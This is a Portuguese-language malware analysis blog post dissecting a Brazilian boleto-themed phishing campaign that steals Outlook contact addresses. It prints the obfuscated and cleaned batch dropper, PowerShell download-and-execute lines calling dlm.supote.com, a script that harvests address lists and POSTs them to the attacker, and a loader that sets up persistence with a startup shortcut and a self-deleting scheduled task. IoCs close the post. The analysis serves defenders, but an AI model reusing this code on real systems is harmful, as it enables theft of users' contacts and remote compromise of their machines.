Monday, April 2, 2018

by Cassius Puodzius

Síntese

Um dos objetivos do cibercrime (notadamente o brasileiro) é a monetização através de fraudes. Para que o ecosistema da fraude possa funcionar, indivíduos se especializam nas diversas tarefas envolvidas.

Esse post visa analisar um malware em atividade (i.e. “in the wild”) cuja finalidade é o roubo de endereços de e-mails das máquinas das vítimas. Com isso, mostra-se como a figura do coder e do phisher estão cooperando (ou se fundindo) para potencializar a realização de fraudes no Brasil.

Para seu e-mail não entrar em uma lista de phishing, não basta mais que você tome as devidas precauções, mas é necessário que todos aqueles com os quais você já se correspondeu também o faça.

Análise

Há pouco, vimos quadrilhas que atuavam no âmbito de crimes virtuais sendo desmanteladas, no entanto isso não afetou o ânimo dos cibercriminosos.

Em especial, é interessante notar como as fraudes virtuais contam com a participação de diversos indivíduos, cada um especializado em alguma etapa do processo entre o desenvolvimento de malware até o saque e o branqueamento de dinheiro furtado.

Recentemente foi compartilhado no grupo MalwareverseBR um link malicioso que me chamou a atenção. É importante já observar que cheguei um pouco atrasado para a análise do link compartilhado no grupo e que a URL contida na segunda fase do ataque, já não estava mais ativa. No entanto, a partir de comentários no grupo e outras informações obtidas por meio de pesquisa na Internet, creio que a análise a seguir corresponde à sequência do ataque .

Etapa 1

Como de habitude, o ataque inicia-se através do envio em massa de e-mails com temas genéricos, mas que podem ser atrativos aos mais leigos ou incautos - nenhuma novidade até aqui. No caso específico, sem grandes surpresas, o tema era “pagamento de boleto”.

Anexado ao e-mail há PDF aparentando ser a “2a. Via de Boleto de Cobrança e Atualização de Boleto Vencido”. Ao clicar em visualizar, é realizado o download do arquivo BOLDIGITAL27032018.zip, por onde inciaremos nossa análise.

Etapa 2

Um link encurtado (hXXps://goo.gl/ueC1q7) foi incluído no PDF para baixar o ZIP, que permitia ao operador (até a remoção do link) obter um relatório da quantidade de cliques, distribuição geográfica e plataformas das vítimas. O link, redirecionava as vítimas para um subdomínio de um DNS dinâmico (i.e.: boltercaimprimirs.ddns.net) resolvido para o IP 34.199.8.144, pertencente à Amazon AWS.

Buscando no RISKIQ, vemos que o host está ativo pelo menos desde o dia 27 de março:

O payload consitia em um arquivo ZIP contendo um script batch (BOLDIGITAL27032018.cmd) bastante simples:

@echo off cd %SystemRoot%\System32 set a=W^in set b=dow set c=s^Po set d=w^er set e=Sh^e set f=^ll\ set g=^v^1^. set h=0\po set i=we set j=rsh set k=^e^l^l set l=.^e^x set m=e^ -n set n=op^ set o=-w set p=in^ ^1 - echo i^E^X(^"^iE^x^`(N^`E^`w`-`ob`J^`e`c^t^ ^Ne^T.wEb`cL^i^e^n^t^`)`.`d`ownL`Oa^d^S^tRiN`G^(^'h^t^tps^:^//d^l^m.sup^ot^e^.co^m/^?f^mJh^uwOE^a6^IC^uIJdSOh^rb8^W^F^t^I5D^ZQVA^84vcRVN^LT^n^jl^K6L^0bnd^Q^x^wBU^Yz^4o^ft6^I^GQ^e^Mq^Jv^/D^Wmh^C^cD1^E^Fo^g^Jrl^I^+G^bc^+/^qcTPBaw^w^c2Ap^Dpi^Q^0=`'^)^"^); | %a%%b%%c%%d%%e%%f%%g%%h%%i%%j%%k%%l%%m%%n%%o%%p%

Simplificando o script, vemos que ele visa simplemente executar um script Powershell hospedado externamente:

@echo off cd %SystemRoot%\System32 echo iEX("iEx(NEw-obJect NeT.wEbcLient).downLOadStRiNG('https://dlm.supote.com/?fmJhuwOEa6ICuIJdSOhrb8WFtI5DZQVA84vcRVNLTnjlK6L0bndQxwBUYz4oft6IGQeMqJv/DWmhCcD1EFogJrlI+Gbc+/qcTPBawwc2ApDpiQ0=')"); | WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -

Obs.: Justamente a URL desse script (hXXps://dlm.supote.com/?…) já estava desativa no momento que tentei acessá-la.

Etapa 3

Script 1: Roubo de endereços de e-mail

A partir de comentários no grupo, foi compartilhado o suposto script aravés do pastebin. Esse script procura atingir certo grau de obfuscação, mas de fato, é bastante simples de revertê-lo apenas renomeando as variáveis, demarcadas por chaves (i.e.: ${var}).

Quando renomeamos as variaveis e funções, fica clara a execução do script e intenção do ataque:

Add-Type -assembly 'Microsoft.Office.Interop.Outlook' $OutlookApp = New-Object -comobject Outlook.Application $OutlookAppMAPI = $OutlookApp.GetNameSpace('MAPI') $GlobalList = [System.Collections.ArrayList]@() function IsStrInAlphabeth($Str) { $Alphabeth = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$'; if ($Str -match $Alphabeth) { return $true } return $false } function AddAddressInGlobalList($Address) { if ($Address) { $IsAddressInGlobalList = $false $Address = $Address.ToLower() if ($Address.StartsWith("'") -And $Address.EndsWith("'")) { $Address = $Address.Substring(1, $Address.Length - 2) } if (IsStrInAlphabeth($Address)) { for($i = 0; $i -lt $GlobalList.Count; $i++) { if ($GlobalList[$$i] -eq $Address) { $IsAddressInGlobalList = $true break } } if (-Not $IsAddressInGlobalList) { $AddedEntry = $GlobalList.Add($Address) } } } } function GetOutlookContactList { $AddressLists = $OutlookAppMAPI.AddressLists for($i = 1; $i -le $AddressLists.Count; $i++) { $AddressEntry = $AddressLists.Item($i).AddressEntries for($j = 1; $j -le $AddressEntries.Count; $j++) { $AddressEntry = $AddressEntries.Item($j) $AddressEntryUserType = $AddressEntry.AddressEntriesUserType $Address = "" if ($AddressEntryUserType -eq 10) { $Address = $AddressEntry.Address } elseif (($AddressEntryUserType -eq 3) -Or ($AddressEntryUserType -eq 1) -Or ($AddressEntryUserType -eq 4) -Or ($AddressEntryUserType -eq 2) -Or ($AddressEntryUserType -eq 5) -Or ($AddressEntryUserType -eq 0)) { $Address = $AddressEntry.GetExchangeUser().PrimarySmtpAddress } AddAddressInGlobalList($Address) } } } function GetContactFromEmails($OutlookFolders) { for($i = 1; $i -le $OutlookFolders.Count; $i++) { $OutlookFolder = $OutlookFolders.Item($i) $OutlookFolderItems = $OutlookFolder.Items for($j = 1; $j -le $OutlookFolderItems.Count; $j++) { $Item = $OutlookFolderItems.Item($j) $Recipients = $Item.Recipients for($k = 1; $k -le $Recipients.Count; $k++) { $Recipient = $Recipients.Item($k) $RecipientAddress = $Recipient.AddressEntry $RecipientUserType = $RecipientAddress.AddressEntryUserType $NewAddress = ""; if ($RecipientUserType -eq 0) { $NewAddress = $RecipientAddress.GetExchangeUser().PrimarySmtpAddress } elseif (($RecipientUserType -eq 30) -Or ($RecipientUserType -eq 10)) { $NewAddress = $RecipientAddress.Address } AddAddressInGlobalList($NewAddress) } $ItemSender = $OutlookFolderItem.Sender $RecipientUserType = $ItemSender.AddressEntryUserType $NewAddress = ""; if ($RecipientUserType -eq 0) { $NewAddress = $ItemSender.GetExchangeUser().PrimarySmtpAddress } elseif (($RecipientUserType -eq 30) -Or ($RecipientUserType -eq 10)) { $NewAddress = $ItemSender.Address } AddAddressInGlobalList($NewAddress) } GetContactFromEmails($OutlookFolder.Folders) } } function ExfiltrateEmailAddressList() { GetOutlookContactlList GetContactFromEmails($OutlookAppMAPI.Folders) $FreeOutlookAppObj = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($OutlookApp) $WebRequest = [System.Net.WebRequest]::Create($urlPL) $GlobalListStr = [System.Text.Encoding]::UTF8.GetBytes("list=$($GlobalList -join ';')") $WebRequest.Method = 'POST' $WebRequest.ContentType = 'application/x-www-form-urlencoded' $WebRequest.ContentLength = $GlobalListStr.length $RequestStream = $WebRequest.GetRequestStream() $RequestStream.Write($GlobalListStr, 0, $GlobalListStr.length) $RequestStream.Close() [System.Net.WebResponse] $WebResponse = $WebRequest.GetResponse() } function Main() { $OutlookPath = $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\Microsoft\.Outlook') $ExistsOutlookFolder = [System.IO.File]::Exists($OutlookPath) if (-Not $ExistsOutlookFolder) { "" | sc $OutlookPath ExfiltrateEmailAddressList() } } Main

A intenção do ataque é roubar a lista de contatos, bem como endereços de e-mails trocados pelas vítimas, daqueles que utilizam a aplicação Outlook como ferramenta de e-mail.

Para entender melhor quais endereços são visados no ataque, podemos analisar a função GetOutlookContactList:

function GetOutlookContactList { $AddressLists = $OutlookAppMAPI.AddressLists for($i = 1; $i -le $AddressLists.Count; $i++) { $AddressEntry = $AddressLists.Item($i).AddressEntries for($j = 1; $j -le $AddressEntries.Count; $j++) { $AddressEntry = $AddressEntries.Item($j) $AddressEntryUserType = $AddressEntry.AddressEntriesUserType $Address = "" if ($AddressEntryUserType -eq 10) { $Address = $AddressEntry.Address } elseif (($AddressEntryUserType -eq 3) -Or ($AddressEntryUserType -eq 1) -Or ($AddressEntryUserType -eq 4) -Or ($AddressEntryUserType -eq 2) -Or ($AddressEntryUserType -eq 5) -Or ($AddressEntryUserType -eq 0)) { $Address = $AddressEntry.GetExchangeUser().PrimarySmtpAddress } AddAddressInGlobalList($Address) } } }

Vemos que os alvos para $AddressEntryUserType são: 10, 3, 1, 4, 2, 5 e 0.

Tais valores correspondem a:

Value Name Description 10 olOutlookContactAddressEntry An address entry in an Outlook Contacts folder. 3 olExchangeAgentAddressEntry An address entry that is an Exchange agent. 1 olExchangeDistributionListAddressEntry An address entry that is an Exchange distribution list. 4 olExchangeOrganizationAddressEntry An address entry that is an Exchange organization. 2 olExchangePublicFolderAddressEntry An address entry that is an Exchange public folder. 5 olExchangeRemoteUserAddressEntry An Exchange user that belongs to a different Exchange forest. 0 olExchangeRemoteUserAddressEntry An Exchange user that belongs to the same Exchange forest.

Script 2: Bypass UAC & Persistência (?)

No entanto, ainda resta saber para qual endereço os e-mails obtidos são enviados, já que $urlPL não está definido no script:

$WebRequest = [System.Net.WebRequest]::Create($urlPL)

Outro script compartilhado no grupo (e muito semelhante a outros mais antigos) através pastebin elucida esta questão.

$fileName = "$env:TEMP\$([System.DateTime]::Now.ToString('yyyyMMdd'))" $bExists = [System.IO.File]::Exists($fileName) if (-Not $bExists) { "" | Set-Content $fileName $bytes = (New-Object Net.WebClient).DownloadData("https://dlm.supote.com/?dWNhuwaAZasGuIJdSOhrb8WFtI5DZQVA84vcRVNLTnjlK6L0bndQxwBUYz4oft6IGQeMqJv/DWmhFcHLLkAlCKJK/mX6+9WjQfBawFQ8UJG9ig0=") for($i=0; $i -lt $bytes.count; $i++) { $bytes[$i] = $bytes[$i] -bxor 0x6A } [Reflection.Assembly]::Load($bytes) $rInt = [Loader]::randomInt(4, 16) $prefix = "$([Loader]::RandomString($rInt))-" [Loader]::Go3("https://dlm.supote.com","f2dgvQaFZKoKuIJdSOhrb8WFtI5DZQVA84vcRVNLTnjlK6L0bndQxwBUYz4oft6IGQeMqJv6NXK6DerhCEAmIqIR/mGlr+CoQK4XlFM8UQ==","cWJhugWEZKABuIJdSOhrb8WFtI5DZQVA84vcRVNLTnjlK6L0bndQxwBUYz4oft6IGQeMqJv6NXK6DerhCEAmIqJW1Hbfq+D9F/kflgE1UA==","dGZnuA2Da6YKuIJdSOhrb8WFtI5DZQVA84vcRVNLTnjlK6L0bndQxwBUYz4oft6IGQeMqJv6NXK6DerhCEAmIqJW1UvY69WjQfBakVo0AJe12gk=","dmhjvAyBZ6YG9ptBe8pKTMCSgpReVTFZxJLrYnw9MXfsCILXa3FjyhosNA8yROSsOSOqjrjbPFOwN9DFNHgABIFrwG3Ry6yEH/0b3QAwVZa6iwkp",$prefix) $var1 = [Loader]::RandomString($rInt) $var2 = [Loader]::RandomString($rInt) $var3 = [Loader]::RandomString($rInt) $cmdFileName = "$([Loader]::outDir)\$([Loader]::RandomString([Loader]::randomInt(6, 16))).cmd" $cmdSource = "@Echo off`r`n" $cmdSource += "Setlocal EnableExtensions`r`n" $cmdSource += "Setlocal EnableDelayedExpansion`r`n" $cmdSource += "Set $var1=HKCU`r`n" $cmdSource += "Set $var1=%$var1%\Software`r`n" $cmdSource += "Set $var1=%$var1%\Microsoft`r`n" $cmdSource += "Set $var2=`r`n" $cmdSource += "FOR /F `"usebackq tokens=1,2*`" %%1 IN (``REG QUERY %$var1%``) DO (`r`n" $cmdSource += "Set $var3=%%11`r`n" $cmdSource += "IF `"!$var3`:~0,$($prefix.Length)!`"==`"$prefix`" (`r`n" $cmdSource += "Set $var2=!$var2!%%3`r`n" $cmdSource += ")`r`n" $cmdSource += ")`r`n" $cmdSource += "%$var2%`r`n" $cmdSource | Set-Content $cmdFileName $lnkFileName = "$([Loader]::outDir)\$env:USERNAME.lnk" $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut($lnkFilename) $Shortcut.TargetPath = $cmdFileName $Shortcut.WindowStyle = 7 $Shortcut.Save() $TaskStartTime = [datetime]::Now.AddSeconds(5) $TaskEndTime = [datetime]::Now.AddSeconds(35) $taskName = [Loader]::RandomString($rInt) $service = New-Object -ComObject("Schedule.Service") $service.Connect() $rootFolder = $service.GetFolder("\") $TaskDefinition = $service.NewTask(0) $TaskDefinition.RegistrationInfo.Description = "" $TaskDefinition.Settings.Enabled = $true $TaskDefinition.Settings.DisallowStartIfOnBatteries = $false $TaskDefinition.Settings.DeleteExpiredTaskAfter = "PT0M" $triggers = $TaskDefinition.Triggers $trigger = $triggers.Create(1) $trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss") $trigger.EndBoundary = $TaskEndTime.ToString("yyyy-MM-dd'T'HH:mm:ss") $trigger.Enabled = $true $action = $TaskDefinition.Actions.Create(0) $action.Path = $cmdFileName $action.Arguments = "" $action = $TaskDefinition.Actions.Create(0) $action.Path = "schtasks.exe" $action.Arguments = "/Delete /TN $taskName /F" $rootFolder.RegisterTaskDefinition($taskName, $TaskDefinition, 6, "", $null, 0) $urlPL = "https://dlm.supote.com/?dmNnvgWAYKAB95tBe8pKTMCSgpReVTFZxJLrYnw9MXfsCILXa3FjyhosNA8yROSsOSOqjrjbIVOwT9TuamdZH69NzWvW2++EHJxP7gpNXcDdhQRgMl0C8FIoGq8=" IEX(New-Object Net.WebClient).DownloadString("https://dlm.supote.com/?fmJhsAWLZqcFuIJdSOhrb8WFtI5DZQVA84vcRVNLTnjlK6L0bndQxwBUYz4oft6IGQeMqJvnNXLCEPnUC3g8MqFS/mLE+9OkOKRA8F45SJ+4gA4tNgYE") }

Apesar de, novamente, não ter acesso ao script em atividade, o que limita parcialmente a análise, vemos que o script escreve (“dropa”) um script batch em um arquivo de nome aleatório:

$cmdFileName = "$([Loader]::outDir)\$([Loader]::RandomString([Loader]::randomInt(6, 16))).cmd"

Script batch:

@Echo off Setlocal EnableExtensions Setlocal EnableDelayedExpansion Set $var1=HKCU Set $var1=%$var1%\Software Set $var1=%$var1%\Microsoft Set $var2= FOR /F "usebackq tokens=1,2*" %%1 IN (`REG QUERY %$var1%`) DO ( Set $var3=%%11 IF "!$var3:~0,$($prefix.Length)!"=="$prefix" ( Set $var2=!$var2!%%3 ) ) %$var2%

O script percorre as chaves de registro em HKCU\Software\Microsoft e executa todos os comandos (valores em $var2) cujos nomes das chaves iniciam com um prefixo igual ao $prefix, onde $prefix está definido por:

$rInt = [Loader]::randomInt(4, 16) $prefix = "$([Loader]::RandomString($rInt))-"

Um link apontando para esse script é criado em:

$lnkFileName = "$([Loader]::outDir)\$env:USERNAME.lnk"

$([Loader]::outDir) não está definido nesse snippet, mas é usual (e lógico nesse caso) ser um diretório de startup, que fará com que o script, apontado pelo .LNK, seja executado sempre que o sistema é inicializado.

Para bypassar o UAC, o script executado através de uma tarefa criada para ser inicializada em 5s. A tarefa possui duas ações:

Ação 1: Execução do scritp

$action = $TaskDefinition.Actions.Create(0) $action.Path = $cmdFileName $action.Arguments = ""

Ação 2: Remoção da tarefa recém criada

$action = $TaskDefinition.Actions.Create(0) $action.Path = "schtasks.exe" $action.Arguments = "/Delete /TN $taskName /F"

A tarefa é removida para dimunir os IoCs associados à cadeia de ataque.

Finalmente, a variável $urlPL é definida e um outro script remoto, que muito provavelmente corresponde àquele analisado anteriormente (i.e. script 1), é executado.

Q.E.D.

IoCs

URLs

hXXps://goo.gl/ueC1q7 hXXp://boltercaimprimirs.ddns.net/

Domínios

dlm.supote.com boltercaimprimirs.ddns.net

Hashs

SHA1 Arquivo 09e7021d3fb4fd610c11bd35fb86160e5df3d622 BOLDIGITAL27032018.zip

E-mails

Remetente Assunto Anexo [email protected] 2via: Boleto pendente em Anexo No:98111469 BOL-9665109.PDF

Proof of Concept , Review